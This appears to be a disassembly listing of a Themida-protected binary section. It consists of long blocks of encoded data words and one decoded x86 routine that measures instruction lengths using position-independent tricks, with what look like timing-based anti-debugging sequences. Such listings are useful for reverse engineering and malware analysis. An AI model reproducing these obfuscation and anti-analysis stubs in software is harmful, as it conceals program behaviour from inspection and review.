		dd 736E97Fh, 4E32CD3Bh,	0AC190E6Bh, 5C10FF5Eh, 0C28A7DB5h
		dd 1F32CD3Bh, 2732A7D8h, 3832CED3h, 0DF6DED3Bh,	2A4E4464h
		dd 23764C3Fh, 8332D53Fh, 2658A3Bh, 4FC608CDh, 99B3ABEEh
		dd 0A5BF7DEFh, 1A9F4DA7h, 0E667CD51h, 732CD38h,	0DEF1901Bh
		dd 0C516A1B2h, 0E41689BAh, 7032CD22h, 0BAF1987Eh, 7E84D3FAh
		dd 86D84C59h, 8A29B5F0h, 2E5C3FBEh, 9032A73Dh, 0E032CED3h
		dd 0B36BED3Bh, 1C7E4462h, 38764C3Fh, 0E32D63Fh,	0C4638C3Bh
		dd 0A8E638B7h, 4C6C6C15h, 573D1DC4h, 7FF2C6ECh,	383291BFh
		dd 4D32A73Bh, 0E32CED3h, 0C46BED3Bh, 0A77E4462h, 0E5764C3Fh
		dd 0E032DB3Fh, 0B3638C3Bh, 81EAE92Bh, 341590D9h, 419D50B6h
		dd 0B03DCB93h, 833375F3h, 0C158CD3Bh, 0E031256Eh, 2D12CD3Bh
		dd 54BB90F8h, 58B3C91Fh, 0E2FC91Fh, 5277CD3Bh, 563DD2F8h
		dd 5404C5A2h, 1F5A1F5Ah, 0BF8CABD8h, 99AF4033h,	9D3460BBh
		dd 84B683F1h, 0F5B74014h, 8C346055h, 0C132C8BFh, 36B3AB3Bh
		dd 0A0CD2340h, 0F839946Dh, 1C204934h, 8554CD3Bh, 0A8AF40F1h
		dd 3B346574h, 0C132CD38h, 0B7802EC4h, 0FA8F4078h, 0B53460BBh
		dd 0B1B139B6h, 524F753Dh, 82014770h, 859AD4C6h,	0BFF30210h
		dd 9F4DA7A5h, 67CD511Ah, 32CD38E6h, 0F1901B07h,	16A1B2DEh
		dd 1689BAC5h, 5E983E4h,	0C08BA4F3h, 8BC38BFCh, 52006AC0h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 5A1A1A5Ah, 0D9BD83FCh, 6A81Eh, 0BD830975h, 6A82DE9h
		dd 50197400h, 0B8C08B53h, 47Ah,	0FD58589h, 9D8D06A8h, 6AAA213h
		dd 585BD3FFh, 2DE9BD83h, 740006A8h, 0B8535017h,	47Ah, 0FD58589h
		dd 9D8D06A8h, 6AA9EB4h,	585BD3FFh, 53006AF9h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0CB8B660Ah
		dd 3CE9C08Bh, 1, 4Eh dup(0)
		dd 83000000h, 0A821C5BDh, 840F0106h, 5B7h, 0A1B86660h
		dd 85C66148h, 6A815D5h,	0F8D0F43h, 0E9000000h, 0Ah, 222462D8h
		dd 33F04211h, 2B6878C9h, 0FE97DAAh, 0B8Ch, 8B666000h, 850FF8h
		dd 61000000h, 0DE243481h, 0E905D87Ah, 0Eh, 64844FC0h, 0E783DD74h
		dd 6CCC8354h, 0B5FFF909h, 6A80F95h, 18A0Fh, 8DF90000h
		dd 0AB697185h, 0AE906h,	3F3A0000h, 737795D4h, 5CB6F09Fh
		dd 6AD0FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 89F950C3h, 0A832A985h, 0BB666006h, 0BE6695F5h
		dd 0C6614DACh, 0A815D585h, 6A5006h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 24F2F9C3h
		dd 0C8C0Fh, 850F0000h, 6, 8B0Fh, 4E80000h, 56000000h, 50A8ADADh
		dd 5E516052h, 0F61C88Ah, 76BA6031h, 0F08F410h, 80h, 585A6100h
		dd 5E950h, 3EDB0000h, 8BA8461Bh, 50042444h, 6870F52h, 50000000h
		dd 5A310F52h, 60310F58h, 880Fh,	5A610000h, 50008B58h, 10E952h
		dd 1E760000h, 8406A45Dh, 0F9A08F2Dh, 0AEBB4C8Ah, 310FD6E0h
		dd 9E9h, 5075C300h, 46412D0Eh, 585AAFE6h, 4244489h, 66605250h
		dd 5250DA8Bh, 585A310Fh, 50310F61h, 8D0F52h, 0F000000h
		dd 5A616031h, 58585A58h, 95B5FFF8h, 6A06A80Fh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 0ABD1C351h, 14E97Bh,	70900000h, 0C6D9A02Fh, 58729AFDh
		dd 0C1C1F46h, 0C4705FE2h, 8A6074FEh, 3820FCBh, 66000000h
		dd 0F61C88Bh, 18Fh, 858DF900h, 6AB6971h, 7E9h, 25067700h
		dd 0F4F80246h, 6AD0FFh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 3A8D9AC3h, 850FDA07h, 7,	1860Fh
		dd 89F50000h, 0A80EB985h, 8B666006h, 0C86CBBD6h, 0E8616404h
		dd 4, 0F08FA82Fh, 8B6AB260h, 505061DEh,	68A0F52h, 0F000000h
		dd 8Dh,	0F310F00h, 68Bh, 0F525000h, 5A585A31h, 24448B58h
		dd 13810F04h, 0E9000000h, 0Eh, 0DB2B4F4Dh, 0C784504Bh
		dd 78630C4Bh, 8BE13Dh, 11880Fh,	0E9600000h, 8, 78DEB417h
		dd 83F2DEEEh, 89615857h, 0E9042444h, 7,	0ABA1A5A9h, 58B982EBh
		dd 61D38B60h, 0F98B6660h, 0FF61E9B2h, 0A80F95B5h, 8850F06h
		dd 0F000000h, 280h, 0F8616000h,	6971858Dh, 860F06ABh, 10h
		dd 0BE9h, 0A3462400h, 9E541493h, 7A5C8561h, 6AD0FFh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 1B77CDC3h, 7E9h, 696D1700h, 898A305h, 12E9h,	0C9FDEF00h
		dd 27949252h, 0D1754A99h, 4CB49D86h, 89C76D3Dh,	0A8018185h
		dd 0EE906h, 0A0560000h,	0E51CC6C6h, 0F02B76CEh,	0AA60DBE2h
		dd 6E9h, 445FD600h, 0C6DD025Dh,	0A815D585h, 6A5006h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0E9706BC3h, 0Eh, 91106F11h, 5E6EB632h, 52BD513Ch, 0AE9FAFEh
		dd 0B0000000h, 98ABC025h, 2DD2E4C0h, 133168DDh,	52509A79h
		dd 6800Fh, 810F0000h, 0
		dd 8E9310Fh, 0B8000000h, 4DC579B4h, 5AAAC813h, 24348158h
		dd 0DE5CF67h, 0F9B5FFF9h, 0F806A831h, 3AC3858Dh, 6A06A8h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0C810D0C3h, 6660A621h, 4444E081h, 0F78CBE66h, 0FD0FF61h
		dd 1584h, 61606000h, 0CE9h, 0D509E000h,	0D451F573h, 85C07F17h
		dd 858961F5h, 6A814C1h,	0C8B70F60h, 0DE9h, 79917900h, 82975AB8h
		dd 0A3867FADh, 0E9617F53h, 19Fh, 0E855006Ah, 3,	5DC35D20h
		dd 4246C89h, 4244481h, 17h, 59C35545h, 50EDDE23h, 52505250h
		dd 310F5250h, 310F585Ah, 830Fh,	585A0000h, 5250310Fh, 310F6160h
		dd 820Fh, 585A0000h, 2C89585Ah,	0EC8BF924h, 0C8D0Fh, 840F0000h
		dd 6, 840Fh, 0C4830000h, 6660F5FCh, 305ED881h, 42BDF081h
		dd 606146E8h, 68D0F60h,	81000000h, 0A695DE9h, 0D68B664Eh
		dd 0E861h, 815A0000h, 0AD8A91EAh, 0FC45C706h, 0
		dd 21C5BA83h, 0F0106A8h, 9884h,	6A5200h, 92FF0F6Ah, 6A832A9h
		dd 0AA82895Ah, 8D06AD84h, 0AD84AE9Ah, 3C75206h,	128h, 92FF5053h
		dd 6A80EB9h, 9A8D525Ah,	6AD84AEh, 0AAB2FF53h, 0FF06AD84h
		dd 0A814C192h, 0C00B5A06h, 9A8D5074h, 6AD84AEh,	33247B8Dh
		dd 4F981C9h, 74000001h,	3C8141D4h, 58452E39h, 8DEE7545h
		dd 752B3934h, 5BA8D0Ch,	8B06A803h, 0A4F30C4Dh, 52AAC032h
		dd 8D0875FFh, 0A8030582h, 92FF5006h, 6A80181h, 75C00B5Ah
		dd 0FC45C7A0h, 1, 45C707EBh, 0FCh, 458B6100h, 8C2C9FCh
		dd 0C800F00h, 60000000h, 0CDC8F781h, 0BA666985h, 6A612BBFh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 134AC352h, 0AAAA7B5Fh, 0CE9h, 2D6C7000h
		dd 6CBDAC7h, 92383331h,	14830FF2h, 60000000h, 7E9h, 48E8C500h
		dd 5AF950D6h, 890Fh, 8B610000h,	6E8D2h,	0DEF10000h, 0D8849313h
		dd 0FB55BF66h, 0D18B665Bh, 5A7AC381h, 870F0000h, 0Ah, 0FD88A60h
		dd 84h,	6D686100h, 66000016h, 59E11FBAh, 33FFD78Bh, 11E9h
		dd 6E2D3D00h, 0B36E854Bh, 0F605BA3Dh, 22F37606h, 8158E296h
		dd 51097CE8h, 0E3BA662Dh, 8EF08145h, 0E90922A3h, 0Bh, 6F47F624h
		dd 40ABA8F6h, 81ED302Fh, 0EB497C0h, 1800F24h, 0F5000000h
		dd 8E90389h, 5D000000h,	4DF57707h, 81E0ECC3h, 3C98E7EBh
		dd 0E3C38176h, 66763C98h, 0F49D78Bh, 1085h, 0C6816600h
		dd 25E96E23h, 0A7000000h, 1C29DA1Dh, 6E8D6h, 0A5680000h
		dd 0DB39DDBAh, 0E95FF38Bh, 0FFFFFF72h, 0E683A65Bh, 13F65802h
		dd 1CD4284Bh, 9E8h, 7294FF00h, 0C2063A82h, 666017EDh, 0D180D98Bh
		dd 0E85A61F1h, 10h, 4C36A1D6h, 0A01FFA87h, 68EE5A29h, 8E516FD8h
		dd 871567BFh, 0C2815F46h, 62B6h, 50F62BF9h, 8B59DE8Bh
		dd 0CF803204h, 6AE88195h, 8048B21Bh, 0C0817DDFh, 7F371621h
		dd 81DA8B66h, 91CC30C0h, 21A5BB79h, 0F950522Dh,	0F32048Fh
		dd 0E85h, 9E900h, 0EEA50000h, 5C3B8141h, 0BB144F50h, 152F9145h
		dd 0E904EE83h, 11h, 0DCBEF5BEh,	0AB9C4B37h, 4DEF2D64h
		dd 750B8DA5h, 0E8FE81A8h, 0FFFFF9Dh, 0FFFF9A85h, 8D48B7FFh
		dd 0AD8E0E8Dh, 57006A06h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 0D8D89A4h, 8906A815h
		dd 0A805B98Dh, 8890F06h, 0F000000h, 284h, 0C7F08B00h, 0A8146985h
		dd 596806h, 0C7D68B00h,	0A80BBD85h, 6, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
		dd 0FE1E630h, 7E987h, 5FFC0000h, 9AED572Ah, 0FDB5FF42h
		dd 6A06A805h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 4A85C350h, 2607D6E9h, 8E95AC1h
		dd 0D2000000h, 0D5F975E2h, 0FF83FA23h, 0A820DD95h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0EF79AEF2h, 9EC10299h, 95896244h, 6A819CDh, 95FF006Ah
		dd 6A81B31h, 7AEBC08Bh,	106CA522h, 0F99904D4h, 0D647B7A1h
		dd 332D20E5h, 0BB35AF54h, 9B8C9911h, 0B8F37412h, 254D6F84h
		dd 1AC4CC5Bh, 1659B264h, 11784779h, 42EA02B8h, 469CB89Bh
		dd 6120C96Bh, 0E471F77h, 0C576C0FAh, 80629C74h,	74549A67h
		dd 0E496CC4Dh, 58AF858h, 8C175B06h, 0C72C8AD9h,	81CFBE3h
		dd 5B1BF9C3h, 82DCBB2Ah, 49D6E374h, 7A839A14h, 804D6034h
		dd 76F86458h, 744B92Dh,	0C8E95674h, 88000001h, 7 dup(88004188h)
		dd 4188h, 4 dup(0)
		dd 0C4000088h, 11000091h, 11111111h, 0C9111111h, 88888899h
		dd 888888h, 0
		dd 44000006h, 41000044h, 11000000h, 44111111h, 99444444h
		dd 3C98802h, 88001002h,	88001188h, 11888888h, 44111111h
		dd 16h,	880000h, 88880000h, 88h, 88008000h, 8888888h, 88000000h
		dd 88080888h, 888888h, 0
		dd 88000000h, 88888888h, 80888888h, 3 dup(88888888h), 99880088h
		dd 88899h, 44880000h, 44444444h, 88444444h, 88888888h
		dd 888888h, 9980h, 88889980h, 888888h, 88888889h, 899988h
		dd 80000000h, 88808888h, 88888888h, 88808888h, 80888888h
		dd 88888888h, 26088888h, 643E362Eh, 0F0676665h,	0F3F2h
		dd 0FF000000h, 0E6FFFFFFh, 0FA004016h, 4016h, 0
		dd 3000000h, 14h dup(0)
		dd 0C2000000h, 8F29000Ch, 1000075h, 11h	dup(0)
		dd 0E9000000h, 353h, 0E855h, 815D0000h,	0AD9065EDh, 85C76006h
		dd 6AD8FB2h, 0
		dd 663E8166h, 0F850FA1h, 0C7000000h, 0AD8FB685h, 606h
		dd 24E900h, 858D0000h, 6AD8FBAh, 0A858D50h, 5006AD90h
		dd 0E8006A56h, 1Dh, 2510C483h, 0FFh, 8FB68589h,	36106ADh
		dd 0AD8FB6B5h, 0B2858B06h, 5D06AD8Fh
		db 0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_5A2AFE
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_5A2B0A
; ---------------------------------------------------------------------------


loc_5A2AFE:				; CODE XREF: Themida_:005A2AE7j
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4


loc_5A2B0A:				; CODE XREF: Themida_:005A2AF9j
		push	ebx
		push	esi
		push	edi


loc_5A2B0D:				; CODE XREF: Themida_:005A2B62j
					; Themida_:005A2B7Ej ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_5A2B20:				; CODE XREF: Themida_:005A2B47j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6AD911Ch
		lea	ebp, [ebp+6AD8F92h]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_5A2B4D
		inc	cl
		cmp	cl, 0Bh
		jb	loc_5A2B20


loc_5A2B4D:				; CODE XREF: Themida_:005A2B3Cj
		cmp	cl, 0Bh
		jz	loc_5A2BAA
		cmp	al, 66h
		jnz	loc_5A2B8B
		cmp	byte ptr [ebp-5], 0
		jnz	loc_5A2B0D
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_5A2B83
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_5A2B0D
; ---------------------------------------------------------------------------


loc_5A2B83:				; CODE XREF: Themida_:005A2B70j
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4


loc_5A2B8B:				; CODE XREF: Themida_:005A2B58j
		cmp	al, 67h
		jnz	loc_5A2B0D
		cmp	byte ptr [ebp-6], 0
		jnz	loc_5A2B0D
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_5A2B0D
; ---------------------------------------------------------------------------


loc_5A2BAA:				; CODE XREF: Themida_:005A2B50j
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_5A2BD6
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_5A2BDB
; ---------------------------------------------------------------------------


loc_5A2BD6:				; CODE XREF: Themida_:005A2BB5j
		movzx	edi, al
		shr	edi, 1


loc_5A2BDB:				; CODE XREF: Themida_:005A2BD1j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6AD91D4h
		lea	ebp, [ebp+6AD8E92h]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_5A2D5D
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_5A2CA1
		dec	ecx
		jz	loc_5A2C84
		dec	ecx
		jnz	loc_5A2CF4
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5A2CF0
		cmp	byte ptr [ebp-5], 0
		jz	loc_5A2C63
		mov	byte ptr [ebp+0Bh], 2


loc_5A2C63:				; CODE XREF: Themida_:005A2C59j
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6AD9260h
		mov	dword ptr [ebp+6AD8FB2h], 1
		pop	ebp
		jmp	loc_5A2CF4
; ---------------------------------------------------------------------------


loc_5A2C84:				; CODE XREF: Themida_:005A2C3Ej
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5A2CCE
		cmp	byte ptr [ebp-5], 0
		jz	loc_5A2CCE
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_5A2CCE
; ---------------------------------------------------------------------------


loc_5A2CA1:				; CODE XREF: Themida_:005A2C37j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5A2CE7
		cmp	byte ptr [ebp-5], 0
		jz	loc_5A2CD6
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_5A2CCE
		mov	[ebp+0Bh], cl


loc_5A2CCE:				; CODE XREF: Themida_:005A2C88j
					; Themida_:005A2C92j ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_5A2CF4
; ---------------------------------------------------------------------------


loc_5A2CD6:				; CODE XREF: Themida_:005A2CAFj
		cmp	dl, 5
		jnz	loc_5A2CF4
		mov	[ebp+0Bh], dl
		jmp	loc_5A2CF4
; ---------------------------------------------------------------------------


loc_5A2CE7:				; CODE XREF: Themida_:005A2CA5j
		cmp	dl, 6
		jnz	loc_5A2CF4


loc_5A2CF0:				; CODE XREF: Themida_:005A2C4Fj
		mov	byte ptr [ebp+0Bh], 3


loc_5A2CF4:				; CODE XREF: Themida_:005A2C45j
					; Themida_:005A2C7Fj ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_5A2D22
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx


loc_5A2D04:				; CODE XREF: Themida_:005A2D1Aj
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_5A2D04
		mov	esi, edx


loc_5A2D22:				; CODE XREF: Themida_:005A2CF7j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_5A2D57
		cmp	edi, 7Fh
		ja	loc_5A2D57
		test	bl, 38h
		jnz	loc_5A2D57
		cmp	byte ptr [ebp-7], 0
		jz	loc_5A2D51
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_5A2D54
; ---------------------------------------------------------------------------


loc_5A2D51:				; CODE XREF: Themida_:005A2D42j
		push	1
		pop	eax


loc_5A2D54:				; CODE XREF: Themida_:005A2D4Cj
		mov	[ebp-1], al


loc_5A2D57:				; CODE XREF: Themida_:005A2D26j
					; Themida_:005A2D2Fj ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]


loc_5A2D5D:				; CODE XREF: Themida_:005A2C07j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_5A2D88
		dec	eax
		dec	eax
		jz	loc_5A2D7E
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_5A2D90
; ---------------------------------------------------------------------------


loc_5A2D7E:				; CODE XREF: Themida_:005A2D6Dj
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_5A2D8D
; ---------------------------------------------------------------------------


loc_5A2D88:				; CODE XREF: Themida_:005A2D65j
		mov	al, [ebp-3]
		add	al, 4


loc_5A2D8D:				; CODE XREF: Themida_:005A2D83j
		add	[ebp-1], al


loc_5A2D90:				; CODE XREF: Themida_:005A2D79j
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_5A2DB8
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx


loc_5A2DA3:				; CODE XREF: Themida_:005A2DB2j
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_5A2DA3


loc_5A2DB8:				; CODE XREF: Themida_:005A2D98j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db 8Dh
		dd 0AD905F85h, 0E9858906h, 0E806A833h, 13h, 2EA93D70h
		dd 0B6035D37h, 4179F87Dh, 0AA622E9Ah, 8BC636CBh, 94B45EC7h
		dd 5DD0C681h, 81600000h, 95ACF5E1h, 68615Ch, 60000000h
		dd 11E9DA8Bh, 8B000000h, 5E453A5Bh, 0F4E17DC9h,	5F12DCABh
		dd 254BCE60h, 810F5F61h, 4, 61616060h, 0F93E0C8Bh, 7238C181h
		dd 42BB45C7h, 813394C0h, 3E6B8AC1h, 0F2816650h,	0F181E438h
		dd 43A3D245h, 5E8h, 0CD444F00h,	0D0800B4Dh, 0F515A6Dh
		dd 68Ch, 0B4EB8100h, 8F6B0B33h,	0DB813E04h, 22EDE4A6h
		dd 2870Fh, 0D38B0000h, 0CDFEEF81h, 14E93703h, 0C0000000h
		dd 47C6AE5h, 22E3E081h,	2DE624A6h, 0BC4B97E9h, 8105DF7Fh
		dd 3CDFAC7h, 0DA816637h, 0FF81A317h, 0FFFFA318h, 0FF7E850Fh
		dd 13E8FFFFh, 96000000h, 9A0A4486h, 60B25519h, 28296EDBh
		dd 71F59312h, 58F88A28h, 1AE9h,	0E1572800h, 0E7339C74h
		dd 77h,	3 dup(0)
		dd 0E9000000h, 0D1Ch, 0AD968B68h, 0E8E4E906h, 6168FFFAh
		dd 0E906AD97h, 0FFFAE8DAh, 0AD990868h, 0E8D0E906h, 1B68FFFAh
		dd 0E906AD9Ah, 0FFFAE8C6h, 0AD9B7E68h, 0E8BCE906h, 1368FFFAh
		dd 0E906AD9Eh, 0FFFAE8B2h, 0AD9F8268h, 0E8A8E906h, 8B68FFFAh
		dd 0E906ADA0h, 0FFFAE89Eh, 0B6F4BDDCh, 0E125600Dh, 0D7531A3Eh
		dd 783C66Ch, 70B6FB9Ch,	2B4CC6EBh, 0DF7F2066h, 89AB1492h
		dd 0BAD97AC0h, 3537B7F3h, 56C9793h, 2F6DB6h, 88155CFFh
		dd 0B33E1852h, 120C833Ch, 50DD90B1h, 2F4ED147h,	2E074EEEh
		dd 3D7417F8h, 6B611FBh,	90FF09BDh, 72B5FFFFh, 4C8E54D9h
		dd 70A86AAAh, 5FA90F5Bh, 0B6009257h, 1B179873h,	1477692Fh
		dd 3CCEh, 0B5E75100h, 4FAED80Eh, 35B60005h, 0CFB8FD92h
		dd 59C9862h, 5338B600h,	26608ED2h, 0B60004E2h, 752177A0h
		dd 1477F899h, 1007Ch, 0AED80600h, 0B600116Ah, 0EE8EFF58h
		dd 0F7217AA7h, 155CFFACh, 3B761788h, 0E1C268F6h, 74A50A43h
		dd 57D74E4Ah, 0B2F610AFh, 90AF57D6h, 0AC0C27A7h, 84296003h
		dd 0F531781Bh, 57DBE413h, 0D59CBFAFh, 0E5A0CE31h, 0C766C9B3h
		dd 0B832588Eh, 6BAFDAAFh, 0C8C00A7Fh, 0BAAF586Dh, 0BEA40791h
		dd 946FE63Ch, 0F2260A97h, 8E3C8735h, 0E2E22660h, 0FFA0AF57h
		dd 0FB3D1653h, 1BADCB71h, 0AF57E31Fh, 0BAD94AE5h, 3B7DAEF3h
		dd 0FFEA9E2Dh, 0E01A40B5h, 0B5FFE9A8h, 0D967B19Ah, 3D9F287Eh
		dd 8A266086h, 5CBCAA8Bh, 6310D173h, 0B7A0F926h,	5674DF61h
		dd 581CC6Dh, 61849DDFh,	7389E4F2h, 94D97A25h, 7FC9FD74h
		dd 2B9417ECh, 0ADCh, 0E9CD574h,	79CD88A5h, 0AFFBB2D6h
		dd 9F2B6E04h, 0C85E1334h, 43E42E43h, 7717B80Eh,	2143EC3Ah
		dd 0D271D268h, 4D9F0F9Bh, 56CFF3Bh, 9887C5B6h, 97135EFFh
		dd 0FA40092Ch, 0EA1CBADDh, 0AF57D6AEh, 284ABB94h, 49EF3865h
		dd 0C1E55EFEh, 56887h, 0ACF15AB6h, 56AAAh, 4AD06B6h, 7F3A57B8h
		dd 0F8817D39h, 0B4641477h, 0BF000000h, 0F3F45CFFh, 0C16E63F3h
		dd 168F140Dh, 73FB3875h, 0AF583104h, 1C3DFC9Fh,	0E2DBCC51h
		dd 3955BEA4h, 0D0733C7Ch, 21931499h, 8FDA6C9Ah,	75B60038h
		dd 59FB4CDAh, 1D82C4E2h, 0E7BCAAD7h, 15359E4Ch,	0EC0AD058h
		dd 862B6E03h, 0FB9C0395h, 9EA10B6h, 9F9B236Ah, 65BCAAD7h
		dd 3BE46ECAh, 0BAB1571Ah, 0DCEC7F56h, 0A0666DFh, 0FB9E0000h
		dd 0A6CB74B2h, 5CFCA7E3h, 2E9115h, 3D5EC145h, 0CAD2A70h
		dd 92286506h, 0CE5C1131h, 388EC765h, 69BDF497h,	0DDDD6FFDh
		dd 0A7B6056Dh, 5EFFBA61h, 92C9713h, 0D73F7B8Dh,	0E705AF57h
		dd 57D765A5h, 1BF45FAFh, 0FFBFE422h, 1788155Ch,	5EE93D74h
		dd 67A145FEh, 0B6000ABCh, 49042586h, 0CCCC7EE4h, 0B6B6000Ah
		dd 1FCBA49Dh, 59DF92B4h, 0B4D67CEAh, 0B6000B74h, 0B5B3E54Eh
		dd 0B6000B72h, 0B0FCA50Eh, 0AB8F00Ah, 0A18AB600h, 0C1571240h
		dd 77E67955h, 2D4BB414h, 4AEE3F64h, 66688h, 1CBA9300h
		dd 57D6AEEAh, 0D47694AFh, 0AF57D6D4h, 0CAC85AEh, 0B54319BBh
		dd 83DCA508h, 1269839Ah, 0DAC6ED8h, 0E954F614h,	0FFB6004Bh
		dd 0FE3A7F14h, 89C3E750h, 64109A62h, 249B128Dh,	5B1EBCDBh
		dd 95553662h, 0B600CF91h, 0DDDD462Dh, 14772AE1h, 61204h
		dd 0B5E71F00h, 54F7D80Eh, 0CFB8F595h, 8E798369h, 74B5FFE0h
		dd 909456DBh, 2CB5FFE0h, 0E0DCDE47h, 71477DBh, 5EBh, 0F1220118h
		dd 0E1C2F843h, 77A00D40h, 0F93F7616h, 0ECA2C973h, 0B760B5FFh
		dd 0A20DAB51h, 4962CF86h, 0FFEC8981h, 58D07BB5h, 15166F8Eh
		dd 0D2882C42h, 3B5B5044h, 0E6F02976h, 5F4842A9h, 4FCE21ABh
		dd 0E491558Ch, 111CAEB4h, 0F348BD8Eh, 0E252DB58h, 8E367294h
		dd 0C20C48BDh, 7A2DCB4h, 0C4BD967Ch, 7A17F826h,	1731F23Fh
		dd 0EFD8D15Eh, 0AC3ABF49h, 0A7084F65h, 4861CE8Bh, 2548AB5Fh
		dd 0D675DE6Ch, 81EC699Fh, 8D2E59C4h, 85F34h, 1950F700h
		dd 480D228Dh, 7E3751F2h, 0AEEB8728h, 0DB96B718h, 61B1C04Fh
		dd 96398DC0h, 0C26DB9F4h, 0F45FEBA2h, 1A821851h, 708286C0h
		dd 3A40B605h, 7E30BA1Dh, 575FCD2h, 0F3F2CA04h, 7F17E060h
		dd 7FD77639h, 24D3ABA3h, 55DAB331h, 4E072689h, 44FF5DEAh
		dd 50D864A6h, 9AAB606h,	6C11C468h, 15BC8641h, 0CDA6F73Ch
		dd 31B78F79h, 6B64B606h, 0D4521B3Ah, 4367C273h,	6320939h
		dd 6B9DFBB6h, 0B606322Fh, 0DC413A15h, 0DD692043h, 631FB2Bh
		dd 0CD84A8B6h, 76B7D679h, 19129FD6h, 3B7B8320h,	87B60622h
		dd 0D97C832Ch, 8AA90A90h, 989C5EC3h, 0BB60632h,	28F9266Bh
		dd 0D2E64B06h, 36D958D9h, 6E0D149Dh, 0F60E327h,	3B000001h
		dd 0AEEA1CBAh, 94AF57D6h, 93B27DBBh, 638955DAh,	57D6E1D9h
		dd 5200A3AFh, 0B8918A17h, 0C48DAF70h, 0D79B9F5Fh, 6508AF57h
		dd 9606872Ch, 0FF4FF92Dh, 0C5B6056Bh, 6CE8EE8Bh, 0B7A06011h
		dd 24A0FE11h, 329310F3h, 74Ch, 0BE0C45E4h, 0E93D7815h
		dd 0DF6B2246h, 0F9BDE74h, 78CE83A4h, 3354BEF3h,	0E787287Eh
		dd 91B31CAAh, 42E142D8h, 3D2FBF0Bh, 5718F8Bh, 83775B6h
		dd 88155CFFh, 8F3B7617h, 0D6E32761h, 98C0AF57h,	8B5B4CD1h
